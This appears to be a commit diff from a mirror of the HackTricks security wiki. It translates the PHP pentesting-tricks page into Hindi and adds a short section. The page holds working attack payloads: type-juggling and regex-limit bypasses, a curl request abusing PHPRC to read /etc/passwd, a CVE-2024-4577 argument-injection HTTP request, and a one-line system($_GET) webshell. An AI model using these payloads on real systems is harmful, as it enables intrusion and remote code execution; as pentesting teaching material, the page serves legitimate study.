mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
51bc40d483
commit
4d35431c69
3 changed files with 56 additions and 46 deletions
BIN
.gitbook/assets/View.nib
generated
Normal file
BIN
.gitbook/assets/View.nib
generated
Normal file
Binary file not shown.
|
@ -1,16 +1,16 @@
|
|||
# PHP Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -19,11 +19,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Cookies सामान्य स्थान:
|
||||
## कुकीज़ का सामान्य स्थान:
|
||||
|
||||
यह phpMyAdmin कुकीज़ के लिए भी मान्य है।
|
||||
|
||||
Cookies:
|
||||
कुकीज़:
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
|
@ -37,7 +37,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
```
|
||||
## PHP तुलना को बायपास करना
|
||||
|
||||
### ढीली तुलना/टाइप जुग्लिंग ( == )
|
||||
### ढीली तुलना/टाइप जुगलिंग ( == )
|
||||
|
||||
यदि PHP में `==` का उपयोग किया जाता है, तो कुछ अप्रत्याशित मामलों में तुलना अपेक्षित रूप से व्यवहार नहीं करती है। इसका कारण यह है कि "==" केवल उन मूल्यों की तुलना करता है जो समान प्रकार में परिवर्तित होते हैं, यदि आप यह भी तुलना करना चाहते हैं कि तुलना किए गए डेटा का प्रकार समान है, तो आपको `===` का उपयोग करना होगा।
|
||||
|
||||
|
@ -48,7 +48,7 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह संख्या के बराबर होती है
|
||||
* `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग्स को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
|
||||
* `"0xAAAA" == "43690" -> True` दशमलव या हेक्स प्रारूप में संख्याओं से बनी स्ट्रिंग्स अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती हैं, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
|
||||
* `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी
|
||||
* `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और उसके बाद किसी भी चीज़ के साथ आने वाली स्ट्रिंग 0 के बराबर होगी
|
||||
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
|
@ -58,7 +58,7 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ
|
|||
|
||||
### **in\_array()**
|
||||
|
||||
**टाइप जुग्लिंग** डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन को भी प्रभावित करता है (आपको सख्त तुलना करने के लिए तीसरे तर्क को सत्य पर सेट करना होगा):
|
||||
**टाइप जुगलिंग** डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन को भी प्रभावित करता है (आपको सख्त तुलना करने के लिए तीसरे तर्क को सत्य पर सेट करना होगा):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -79,7 +79,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
|
||||
### सख्त प्रकार जुगलिंग
|
||||
|
||||
यहां तक कि यदि `===` **का उपयोग किया जा रहा है** तो भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को कमजोर** बनाती हैं **प्रकार जुगलिंग** के लिए। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
|
||||
यहां तक कि यदि `===` **का उपयोग किया जा रहा है**, तब भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलिंग के प्रति संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
|
@ -89,7 +89,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
|
||||
#### नई पंक्ति बायपास
|
||||
|
||||
हालांकि, जब regexp`preg_match()` के प्रारंभ को सीमित किया जाता है, तो यह **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप इनपुट को **कई पंक्तियों** में **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
|
||||
हालांकि, जब regexp`preg_match()` के प्रारंभ को सीमित किया जाता है, तो यह **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -102,7 +102,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
इस जांच को बायपास करने के लिए आप **नए लाइनों के साथ मान को URL-एन्कोडेड** (`%0A`) भेज सकते हैं या यदि आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों में** भेजें:
|
||||
इस जांच को बायपास करने के लिए आप **नए लाइनों के साथ मान को URL-encoded** (`%0A`) भेज सकते हैं या यदि आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों में** भेजें:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -110,10 +110,10 @@ echo preg_match("/^.*1.*$/",$myinput);
|
|||
```
|
||||
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **लंबाई त्रुटि बायपास**
|
||||
#### **Length error bypass**
|
||||
|
||||
(यह बायपास स्पष्ट रूप से PHP 5.2.5 पर आजमाया गया था और मैं इसे PHP 7.3.15 पर काम नहीं करवा सका)\
|
||||
यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे संसाधित नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:
|
||||
यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है, तो आप भेज सकते हैं:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -128,9 +128,9 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||
संक्षेप में, समस्या इस कारण होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियों को बहुत सारे पुनरावृत्त कॉल का उपयोग करके मिलाया जाता है, जो बहुत अधिक स्टैक स्पेस का उपयोग करता है। पुनरावृत्तियों की अनुमति की गई मात्रा पर एक सीमा निर्धारित करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है, जो स्टैक में फिट होने से अधिक है।
|
||||
|
||||
[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी उस पोस्ट में लिंक किया गया था जहाँ इस मुद्दे के बारे में अधिक गहराई से बात की गई है। हमारा कार्य अब स्पष्ट था:\
|
||||
**एक इनपुट भेजें जो regex को 100\_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पैकेज में कुछ ऐसा आश्चर्य फेंकते हुए जैसे `{system(<verybadcommand>)}` SSTI --> RCE --> ध्वज प्राप्त करने के लिए :)**।
|
||||
**एक इनपुट भेजें जो regex को 100\_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पैकेज में कुछ ऐसा फेंकते हुए `{system(<verybadcommand>)}` जिससे SSTI --> RCE --> ध्वज :)**।
|
||||
|
||||
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" को नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो जैसा कि [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) में कहा गया है, `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1\_000\_000 (1M) होता है।\
|
||||
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" को नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1\_000\_000 (1M) होती है।\
|
||||
इस तक पहुँचने के लिए, `'X'*500_001` 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) का परिणाम देगा:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
|
@ -148,7 +148,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
यदि PHP किसी अन्य पृष्ठ पर रीडायरेक्ट कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन **हेडर `Location`** सेट करने के बाद नहीं बुलाया गया है, तो PHP निष्पादन जारी रखता है और डेटा को बॉडी में जोड़ता है:
|
||||
यदि PHP किसी अन्य पृष्ठ पर रीडायरेक्ट कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन **हेडर `Location` सेट करने के बाद नहीं बुलाया गया है**, तो PHP निष्पादन जारी रखता है और डेटा को बॉडी में जोड़ता है:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -168,9 +168,9 @@ Check:
|
|||
|
||||
## और ट्रिक्स
|
||||
|
||||
* **register\_globals**: **PHP < 4.1.1.1** में या यदि गलत कॉन्फ़िगर किया गया हो, तो **register\_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET यदि उनके पास एक मान है जैसे $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं** जो कोड के भीतर उपयोग किए जाते हैं।
|
||||
* **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप एक पथ को **कुकी के पथ को एक्सेस करने के लिए बना सकते हैं** जो दूसरे पथ कुकी के मान को सेट करता है।\
|
||||
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को path2 में उसके अनुसार नाम देकर)।
|
||||
* **register\_globals**: In **PHP < 4.1.1.1** या यदि गलत कॉन्फ़िगर किया गया हो, **register\_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET यदि उनके पास एक मान है जैसे $\_GET\["param"]="1234", आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं** जो कोड के भीतर उपयोग किए जाते हैं।
|
||||
* **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन के भीतर **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को उस पथ का एक्सेस करता है** जो दूसरे पथ कुकी के मान को सेट करता है।\
|
||||
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को path2 में उसके अनुरूप नाम देकर)।
|
||||
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। पता जांचें: **/\~\<USERNAME>** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
|
||||
* [**LFI और RCE का उपयोग करके php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
|
@ -189,9 +189,9 @@ True
|
|||
|
||||
#### Causing error after setting headers
|
||||
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फ़ाइलें भेजने पर, PHP प्रतिक्रिया में headers सेट नहीं करेगा।
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फ़ाइलें भेजने पर, PHP प्रतिक्रिया में हेडर सेट नहीं करेगा।
|
||||
|
||||
उदाहरण के लिए CSP headers को बायपास करने की अनुमति देना जो कोड में सेट किए गए हैं:
|
||||
उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देना जो कोड में सेट किए गए हैं:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -225,7 +225,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
"replace" तर्क में कोड को निष्पादित करने के लिए कम से कम एक मेल की आवश्यकता है।\
|
||||
कोड को निष्पादित करने के लिए "replace" तर्क में कम से कम एक मेल की आवश्यकता है।\
|
||||
preg\_replace का यह विकल्प **PHP 5.5.0 से हटा दिया गया है।**
|
||||
|
||||
### **Eval() के माध्यम से RCE**
|
||||
|
@ -245,9 +245,9 @@ preg\_replace का यह विकल्प **PHP 5.5.0 से हटा द
|
|||
```
|
||||
आपको **कोड** **सिंटैक्स** को **तोड़ना**, अपना **पेलोड** **जोड़ना**, और फिर **इसे फिर से ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** जैसे "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करते क्योंकि यदि पहली शर्त सही है तो हमारा पेलोड निष्पादित नहीं होगा। इसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड निष्पादित नहीं होगा।
|
||||
|
||||
**अन्य विकल्प** है कि स्ट्रिंग में कमांड का निष्पादन जोड़ें: `'.highlight_file('.passwd').'`
|
||||
**दूसरा विकल्प** है कि स्ट्रिंग में कमांड के निष्पादन को जोड़ें: `'.highlight_file('.passwd').'`
|
||||
|
||||
**अन्य विकल्प** (यदि आपके पास आंतरिक कोड है) कुछ वेरिएबल को संशोधित करना है ताकि निष्पादन को बदल सकें: `$file = "hola"`
|
||||
**दूसरा विकल्प** (यदि आपके पास आंतरिक कोड है) है कि कुछ वेरिएबल को संशोधित करें ताकि निष्पादन को बदल सकें: `$file = "hola"`
|
||||
|
||||
### **RCE via usort()**
|
||||
|
||||
|
@ -291,11 +291,11 @@ Different .htaccess shells can be found [here](https://github.com/wireghoul/htsh
|
|||
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): This env variable allows you load arbitrary libraries when executing other binaries (although in this case it might not work).
|
||||
* **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल** का स्थान बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी खुद की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
|
||||
* **`PHPRC`** : PHP को **अपनी कॉन्फ़िगरेशन फ़ाइल कहां स्थित है** इस पर निर्देशित करता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी खुद की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
|
||||
1. हमारे शेलकोड वाला एक PHP फ़ाइल अपलोड करें
|
||||
2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि पहले चरण में अपलोड की गई फ़ाइल को निष्पादित करें
|
||||
3. `PHPRC` वेरिएबल को दूसरे चरण में अपलोड की गई फ़ाइल पर सेट करें।
|
||||
* इस श्रृंखला को निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करने के लिए निर्देशित करता है
|
||||
3. `PHPRC` वेरिएबल को चरण 2 में अपलोड की गई फ़ाइल पर सेट करें।
|
||||
* इस श्रृंखला को निष्पादित करने के तरीके के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - एक और विकल्प
|
||||
* यदि आप **फाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
|
@ -309,7 +309,7 @@ The webserver parses HTTP requests and passes them to a PHP script executing a r
|
|||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
इसके अलावा, PHP के बाद के सामान्यीकरण के कारण "-" पैरामीटर को 0xAD वर्ण का उपयोग करके इंजेक्ट करना संभव है। [**इस पोस्ट**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) से शोषण उदाहरण की जांच करें:
|
||||
इसके अलावा, PHP के बाद के सामान्यीकरण के कारण "-" पैरामीटर को 0xAD वर्ण का उपयोग करके इंजेक्ट करना संभव है। [**इस पोस्ट**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) से शोषण उदाहरण देखें:
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
|
@ -323,6 +323,13 @@ Connection: keep-alive
|
|||
phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**इस पोस्ट में**](https://blog.redteam-pentesting.de/2024/moodle-rce/) बहुत कम अनुमत वर्णों के साथ एक ब्रेन फक PHP कोड उत्पन्न करने के लिए शानदार विचार मिल सकते हैं।\
|
||||
इसके अलावा, यह कई जांचों को बायपास करने की अनुमति देने वाले कार्यों को निष्पादित करने का एक दिलचस्प तरीका भी प्रस्तावित किया गया है:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
## PHP स्थैतिक विश्लेषण
|
||||
|
||||
|
@ -336,11 +343,11 @@ $_COOKIE | if #This mea
|
|||
|
||||
### PHP कोड का डिओबफस्केटिंग
|
||||
|
||||
आप PHP कोड को डिओबफस्केट करने के लिए **वेब**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग कर सकते हैं।**
|
||||
आप **www.unphp.net** का उपयोग PHP कोड को डिओबफस्केट करने के लिए कर सकते हैं।
|
||||
|
||||
## PHP रैपर और प्रोटोकॉल
|
||||
|
||||
PHP रैपर और प्रोटोकॉल आपको एक सिस्टम में **लिखने और पढ़ने की सुरक्षा को बायपास** करने और इसे समझौता करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पृष्ठ की जांच करें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP रैपर और प्रोटोकॉल आपको एक सिस्टम में **लिखने और पढ़ने की सुरक्षा को बायपास** करने और इसे समझौता करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पृष्ठ की जांच करें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)।
|
||||
|
||||
## Xdebug बिना प्रमाणीकरण वाला RCE
|
||||
|
||||
|
@ -462,16 +469,16 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# URL Format Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -86,7 +86,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
|||
```
|
||||
